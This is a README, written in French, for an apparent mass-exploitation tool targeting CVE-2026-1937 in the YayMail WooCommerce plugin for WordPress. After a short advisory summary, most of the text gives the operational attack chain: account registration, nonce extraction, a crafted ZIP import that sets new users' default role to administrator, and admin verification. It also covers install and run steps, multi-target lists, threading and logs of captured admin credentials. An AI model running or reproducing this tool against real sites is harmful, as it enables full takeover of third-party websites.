
YayMail <= 4.3.2 - Autorisation manquante pour la mise à jour arbitraire d'options par les utilisateurs authentifiés (Shop Manager+) via l'action AJAX 'yaymail_import_state'
| Champ | Détails |
|---|---|
| CVE ID | CVE-2026-1937 |
| Sévérité | ÉLEVÉE — Score CVSS v3.1 : 7.2 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Chercheur | Daniel Basta (whizzu) — NASK PIB |
| Publication publique | 17 février 2026 |
| Dernière mise à jour | 27 mars 2026 |
| Logiciel concerné | YayMail – WooCommerce Email Customizer, plugin de personnalisation d'e-mails pour WordPress |
| Versions concernées | Toutes les versions jusqu'à la 4.3.2 incluse |
| Type de vulnérabilité | Autorisation manquante → Mise à jour arbitraire non autorisée des options → Élévation de privilèges |
| Authentification requise | Oui — niveau Shop Manager ou supérieur |
| CWE | CWE-862: Missing Authorization |
Description :
Le plugin YayMail – WooCommerce Email Customizer pour WordPress est vulnérable à une modification non autorisée des données conduisant à une élévation de privilèges dans toutes les versions jusqu'à la 4.3.2 incluse. L'action AJAX yaymail_import_state est enregistrée sans aucune vérification de capacités côté serveur, ce qui permet à des attaquants authentifiés disposant d'un accès de niveau Shop Manager ou supérieur de l'invoquer librement. En téléversant un fichier d'importation ZIP spécialement conçu, l'attaquant peut silencieusement écraser des options arbitraires du site WordPress — notamment en définissant le rôle d'inscription par défaut des nouveaux utilisateurs sur administrator et en activant l'inscription publique ouverte. Une fois ces options injectées, n'importe quel visiteur peut s'inscrire lui-même sur le site et recevoir un compte Administrateur WordPress complet, ce qui aboutit à une compromission totale du site.
Il s'agit d'une chaîne d'exploitation de masse Proof-of-Concept (PoC) ciblant les installations WordPress + WooCommerce exécutant une version vulnérable du plugin YayMail. L'outil implémente une attaque complète de bout en bout : inscription WooCommerce → connexion → extraction du nonce YayMail → exploitation de yaymail_import_state → vérification de l'administrateur.
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — charge utile d'importation spécialement conçue (requise)pip install requests urllib3 rich
Ou via le fichier requirements :
pip install -r requirements.txt
requirements.txt :
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
L'outil utilise une interface terminal entièrement interactive propulsée par Rich.
Créez un fichier texte brut (par défaut : list.txt) — une cible par ligne :
https://target1.com
https://target2.com
http://target3.com
target4.com
Les cibles sans
http://ouhttps://sont automatiquement préfixées parhttps://.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipL'exploit nécessite un fichier ZIP d'importation YayMail spécialement conçu qui écrase les options WordPress suivantes lors de l'importation :
| Option WordPress | Valeur injectée |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ L'outil refusera de s'exécuter si
yaymail_backup.zipn'est pas présent dans le répertoire de travail.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
Cause racine :
Le gestionnaire yaymail_import_state n'appelle pas current_user_can() ni aucune vérification de capacités équivalente avant de traiter l'importation. Tout utilisateur disposant du rôle shop_manager (ou supérieur) peut invoquer librement cette action et écraser des entrées arbitraires de la table wp_options via le mécanisme d'importation ZIP.
L'outil analyse automatiquement les chemins suivants pour trouver les formulaires d'inscription et de connexion :
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| Fichier | Description |
|---|---|
reg.txt | Toutes les inscriptions WooCommerce réussies avec identifiants |
Nx_admin.txt | Toutes les élévations administrateur confirmées |
reg.txt :
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt :
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import